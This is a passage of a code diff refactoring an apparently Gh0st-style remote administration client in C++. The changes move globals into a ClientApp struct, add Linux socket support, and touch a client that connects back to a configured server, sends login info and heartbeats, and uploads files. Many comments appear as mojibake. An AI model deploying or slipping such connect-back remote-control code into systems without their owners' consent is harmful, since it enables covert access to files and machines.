if (strlen(lpszCmdLine) != 0) {
|
||||
strcpy_s(message, lpszCmdLine);
|
||||
}else if (g_SETTINGS.IsValid())
|
||||
}else if (settings.IsValid())
|
||||
{
|
||||
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||||
}
|
||||
|
||||
std::istringstream stream(message);
|
||||
@@ -292,15 +449,15 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
|
||||
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
||||
while (!IsStoped())
|
||||
Sleep(20);
|
||||
if (g_bExit == 1)
|
||||
if (bExit == S_CLIENT_EXIT)
|
||||
return;
|
||||
else if (g_bExit == 2)
|
||||
else if (bExit == S_SERVER_EXIT)
|
||||
continue;
|
||||
else // 3
|
||||
else // S_CLIENT_UPDATE
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||||
RunNewDll(message);
|
||||
}
|
||||
|
||||
@@ -308,36 +465,56 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
IOCPClient *ClientObject = new IOCPClient();
|
||||
ClientApp& app(*(ClientApp*)lParam);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
State& bExit(app.g_bExit);
|
||||
IOCPClient *ClientObject = new IOCPClient(bExit);
|
||||
CKernelManager* Manager = nullptr;
|
||||
|
||||
g_bThreadExit = false;
|
||||
while (!g_bExit)
|
||||
if (!app.m_bShared) {
|
||||
if (NULL == app.g_hEvent) {
|
||||
app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED);
|
||||
}
|
||||
if (app.g_hEvent == NULL) {
|
||||
Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
app.SetThreadRun(TRUE);
|
||||
while (app.m_bIsRunning(&app))
|
||||
{
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort()))
|
||||
{
|
||||
for (int k = 500; !g_bExit && --k; Sleep(10));
|
||||
for (int k = 500; app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||
continue;
|
||||
}
|
||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount, g_SETTINGS.ClientType());
|
||||
SAFE_DELETE(Manager);
|
||||
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance);
|
||||
|
||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings);
|
||||
ClientObject->SendLoginInfo(login);
|
||||
|
||||
CKernelManager Manager(ClientObject);
|
||||
bool bIsRun = 0;
|
||||
do
|
||||
{
|
||||
Manager->SendHeartbeat();
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
|
||||
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
||||
Sleep(200);
|
||||
}
|
||||
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
|
||||
BOOL b = SetEvent(app.g_hEvent);
|
||||
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
|
||||
|
||||
bIsRun = ClientObject->IsRunning();
|
||||
|
||||
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
|
||||
while (GetTickCount64() - dwTickCount < 5000 && !g_bExit)
|
||||
Sleep(200);
|
||||
CloseHandle(app.g_hEvent);
|
||||
app.g_hEvent = NULL;
|
||||
}
|
||||
|
||||
Mprintf("StartClient end\n");
|
||||
delete ClientObject;
|
||||
g_bThreadExit = true;
|
||||
SAFE_DELETE(Manager);
|
||||
app.SetThreadRun(FALSE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
90
client/ClientDll.h
Normal file
@@ -0,0 +1,90 @@
|
||||
#pragma once
|
||||
|
||||
#include "Common.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include "LoginServer.h"
|
||||
#include "KernelManager.h"
|
||||
#include <iosfwd>
|
||||
#include <vector>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <shellapi.h>
|
||||
#include <corecrt_io.h>
|
||||
|
||||
BOOL IsProcessExit();
|
||||
|
||||
typedef BOOL(*IsRunning)(void* thisApp);
|
||||
|
||||
BOOL IsSharedRunning(void* thisApp);
|
||||
|
||||
BOOL IsClientAppRunning(void* thisApp);
|
||||
|
||||
// <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD>ࣺ<EFBFBD><E0A3BA>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>.
|
||||
typedef struct ClientApp
|
||||
{
|
||||
State g_bExit; // Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL g_bThreadExit; // <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
|
||||
HINSTANCE g_hInstance; // <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD>
|
||||
CONNECT_ADDRESS* g_Connection; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
HANDLE g_hEvent; // ȫ<><C8AB><EFBFBD>¼<EFBFBD>
|
||||
BOOL m_bShared; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
IsRunning m_bIsRunning; // <20><><EFBFBD><EFBFBD>״̬
|
||||
unsigned m_ID; // Ψһ<CEA8><D2BB>ʶ
|
||||
static int m_nCount; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
static CLock m_Locker;
|
||||
ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE) {
|
||||
memset(this, 0, sizeof(ClientApp));
|
||||
g_Connection = new CONNECT_ADDRESS(*conn);
|
||||
m_bIsRunning = run;
|
||||
m_bShared = shared;
|
||||
g_bThreadExit = TRUE;
|
||||
}
|
||||
~ClientApp() {
|
||||
SAFE_DELETE(g_Connection);
|
||||
}
|
||||
ClientApp* SetID(unsigned id) {
|
||||
m_ID = id;
|
||||
return this;
|
||||
}
|
||||
static void AddCount(int n=1) {
|
||||
m_Locker.Lock();
|
||||
m_nCount+=n;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
static int GetCount() {
|
||||
m_Locker.Lock();
|
||||
int n = m_nCount;
|
||||
m_Locker.Unlock();
|
||||
return n;
|
||||
}
|
||||
static void Wait() {
|
||||
while (GetCount())
|
||||
Sleep(50);
|
||||
}
|
||||
bool IsThreadRun() {
|
||||
m_Locker.Lock();
|
||||
BOOL n = g_bThreadExit;
|
||||
m_Locker.Unlock();
|
||||
return FALSE == n;
|
||||
}
|
||||
void SetThreadRun(BOOL run = TRUE) {
|
||||
m_Locker.Lock();
|
||||
g_bThreadExit = !run;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
void SetProcessState(State state = S_CLIENT_NORMAL) {
|
||||
m_Locker.Lock();
|
||||
g_bExit = state;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
}ClientApp;
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>ClientApp
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>ClientApp
|
||||
DWORD WINAPI StartClientApp(LPVOID param);
|
||||
@@ -214,8 +214,6 @@
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
|
||||
@@ -14,8 +14,6 @@
|
||||
|
||||
#include "KernelManager.h"
|
||||
|
||||
extern CONNECT_ADDRESS g_SETTINGS;
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam)
|
||||
{
|
||||
THREAD_ARG_LIST ThreadArgList = {0};
|
||||
@@ -30,6 +28,7 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||
{
|
||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||
IOCPClient *ClientObject = pInfo->p;
|
||||
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
||||
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||
{
|
||||
Manager m(ClientObject, n, pInfo->user);
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "FileManager.h"
|
||||
#include <shellapi.h>
|
||||
|
||||
typedef struct
|
||||
{
|
||||
@@ -503,7 +504,7 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
||||
void CFileManager::UploadNext()
|
||||
{
|
||||
list <string>::iterator it = m_UploadList.begin();
|
||||
std::list <std::string>::iterator it = m_UploadList.begin();
|
||||
// ɾ<><C9BE>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_UploadList.erase(it);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -540,7 +541,7 @@ bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
|
||||
m_UploadList.push_back((char *)lpBuffer);
|
||||
}
|
||||
|
||||
list <string>::iterator it = m_UploadList.begin();
|
||||
std::list <std::string>::iterator it = m_UploadList.begin();
|
||||
// <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
||||
SendFileSize((*it).c_str());
|
||||
|
||||
|
||||
@@ -12,7 +12,6 @@ typedef IOCPClient CClientSocket;
|
||||
#include <string>
|
||||
|
||||
#include "Manager.h"
|
||||
using namespace std;
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
@@ -33,7 +32,7 @@ public:
|
||||
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
list <string> m_UploadList;
|
||||
std::list <std::string> m_UploadList;
|
||||
UINT m_nTransferMode;
|
||||
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
|
||||
|
||||
@@ -1,10 +1,22 @@
|
||||
// IOCPClient.cpp: implementation of the IOCPClient class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
#else
|
||||
#include <netdb.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h> // For struct sockaddr_in
|
||||
#include <unistd.h> // For close()
|
||||
#include <cstring> // For memset()
|
||||
inline int WSAGetLastError() { return -1; }
|
||||
#define USING_COMPRESS 1
|
||||
#endif
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include <assert.h>
|
||||
#include <string>
|
||||
#if USING_ZLIB
|
||||
#include "zlib/zlib.h"
|
||||
#define Z_FAILED(p) (Z_OK != (p))
|
||||
@@ -36,26 +48,60 @@
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#include <assert.h>
|
||||
#include "Manager.h"
|
||||
|
||||
using namespace std;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
VOID IOCPClient::setManagerCallBack(CManager* Manager)
|
||||
#ifndef _WIN32
|
||||
BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) {
|
||||
// <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
int enable = 1;
|
||||
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
|
||||
Mprintf("Failed to enable TCP keep-alive\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>)
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPIDLE\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>)
|
||||
int keepAliveInterval = 5; // 5<><35>
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPINTVL\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>)
|
||||
int keepAliveProbes = 5;
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPCNT\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("TCP keep-alive settings applied successfully\n");
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
|
||||
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
||||
{
|
||||
m_Manager = Manager;
|
||||
|
||||
m_DataProcess = dataProcess;
|
||||
}
|
||||
|
||||
|
||||
IOCPClient::IOCPClient(bool exit_while_disconnect)
|
||||
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||
{
|
||||
m_Manager = NULL;
|
||||
#ifdef _WIN32
|
||||
WSADATA wsaData;
|
||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
#endif
|
||||
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
m_hWorkThread = NULL;
|
||||
@@ -67,7 +113,6 @@ IOCPClient::IOCPClient(bool exit_while_disconnect)
|
||||
m_bIsRunning = TRUE;
|
||||
m_bConnected = FALSE;
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
m_exit_while_disconnect = exit_while_disconnect;
|
||||
#if USING_CTX
|
||||
m_Cctx = ZSTD_createCCtx();
|
||||
@@ -92,13 +137,13 @@ IOCPClient::~IOCPClient()
|
||||
m_hWorkThread = NULL;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
WSACleanup();
|
||||
#endif
|
||||
|
||||
while (S_RUN == m_bWorkThread)
|
||||
Sleep(10);
|
||||
|
||||
DeleteCriticalSection(&m_cs);
|
||||
|
||||
m_bWorkThread = S_END;
|
||||
#if USING_CTX
|
||||
ZSTD_freeCCtx(m_Cctx);
|
||||
@@ -107,8 +152,9 @@ IOCPClient::~IOCPClient()
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
||||
inline string GetIPAddress(const char *hostName)
|
||||
inline std::string GetIPAddress(const char *hostName)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
struct hostent *host = gethostbyname(hostName);
|
||||
#ifdef _DEBUG
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
||||
@@ -118,6 +164,27 @@ inline string GetIPAddress(const char *hostName)
|
||||
if (host == NULL || host->h_addr_list == NULL)
|
||||
return "";
|
||||
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
||||
#else
|
||||
struct addrinfo hints, * res;
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_INET; // IPv4
|
||||
hints.ai_socktype = SOCK_STREAM; // TCP socket
|
||||
|
||||
int status = getaddrinfo(hostName, nullptr, &hints, &res);
|
||||
if (status != 0) {
|
||||
Mprintf("getaddrinfo failed: %s\n", gai_strerror(status));
|
||||
return "";
|
||||
}
|
||||
|
||||
struct sockaddr_in* addr = reinterpret_cast<struct sockaddr_in*>(res->ai_addr);
|
||||
char ip[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
|
||||
|
||||
Mprintf("IP Address: %s \n", ip);
|
||||
|
||||
freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ
|
||||
return ip;
|
||||
#endif
|
||||
}
|
||||
|
||||
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
@@ -129,12 +196,13 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
|
||||
sockaddr_in ServerAddr;
|
||||
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(uPort);
|
||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||
string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||
? szServerIP : GetIPAddress(szServerIP);
|
||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str());
|
||||
|
||||
@@ -147,12 +215,42 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
#else
|
||||
sockaddr_in ServerAddr = {};
|
||||
ServerAddr.sin_family = AF_INET; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(uPort);
|
||||
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||
? szServerIP : GetIPAddress(szServerIP);
|
||||
|
||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
|
||||
if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) {
|
||||
Mprintf("Invalid address or address not supported\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (m_sClientSocket == -1) {
|
||||
Mprintf("Failed to create socket\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
|
||||
Mprintf("Connection failed\n");
|
||||
close(m_sClientSocket);
|
||||
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
|
||||
const int chOpt = 1; // True
|
||||
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE,
|
||||
(char *)&chOpt, sizeof(chOpt)) == 0)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
// <20><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
|
||||
tcp_keepalive klive;
|
||||
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
|
||||
@@ -160,11 +258,20 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
|
||||
WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive),
|
||||
NULL, 0,(unsigned long *)&chOpt,0,NULL);
|
||||
#else
|
||||
// <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
SetKeepAliveOptions(m_sClientSocket);
|
||||
#endif
|
||||
}
|
||||
if (m_hWorkThread == NULL){
|
||||
#ifdef _WIN32
|
||||
m_hWorkThread = (HANDLE)CreateThread(NULL, 0,
|
||||
WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||
#else
|
||||
pthread_t id = 0;
|
||||
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||
#endif
|
||||
}
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n");
|
||||
m_bConnected = TRUE;
|
||||
@@ -176,7 +283,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
IOCPClient* This = (IOCPClient*)lParam;
|
||||
char* szBuffer = new char[MAX_RECV_BUFFER];
|
||||
fd_set fd;
|
||||
const struct timeval tm = { 2, 0 };
|
||||
struct timeval tm = { 2, 0 };
|
||||
|
||||
while (This->IsRunning()) // û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
||||
{
|
||||
@@ -187,7 +294,11 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
FD_ZERO(&fd);
|
||||
FD_SET(This->m_sClientSocket, &fd);
|
||||
#ifdef _WIN32
|
||||
int iRet = select(NULL, &fd, NULL, NULL, &tm);
|
||||
#else
|
||||
int iRet = select(This->m_sClientSocket + 1, &fd, NULL, NULL, &tm);
|
||||
#endif
|
||||
if (iRet <= 0)
|
||||
{
|
||||
if (iRet == 0) Sleep(50);
|
||||
@@ -206,24 +317,18 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
szBuffer, MAX_RECV_BUFFER, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (iReceivedLength <= 0)
|
||||
{
|
||||
int a = GetLastError();
|
||||
int a = WSAGetLastError();
|
||||
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(This->m_exit_while_disconnect)
|
||||
break;
|
||||
}else{
|
||||
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
||||
This->OnServerReceiving(szBuffer, iReceivedLength);
|
||||
if (This->m_Manager!=NULL && This->m_Manager->m_bIsDead)
|
||||
{
|
||||
Mprintf("****** Recv bye bye ******\n");
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB>˺<EFBFBD><CBBA><EFBFBD><EFBFBD>ضˣ<D8B6><CBA3><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
extern BOOL g_bExit;
|
||||
g_bExit = This->m_Manager->m_bIsDead;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseHandle(This->m_hWorkThread);
|
||||
This->m_hWorkThread = NULL;
|
||||
This->m_bWorkThread = S_STOP;
|
||||
This->m_bIsRunning = FALSE;
|
||||
delete[] szBuffer;
|
||||
@@ -249,62 +354,51 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
||||
{
|
||||
throw "Bad Buffer";
|
||||
Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag);
|
||||
m_CompressedBuffer.ClearBuffer();
|
||||
break;
|
||||
}
|
||||
|
||||
ULONG ulPackTotalLength = 0;
|
||||
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH),
|
||||
sizeof(ULONG));
|
||||
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG));
|
||||
|
||||
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
||||
ULONG len = m_CompressedBuffer.GetBufferLength();
|
||||
if (ulPackTotalLength && len >= ulPackTotalLength)
|
||||
{
|
||||
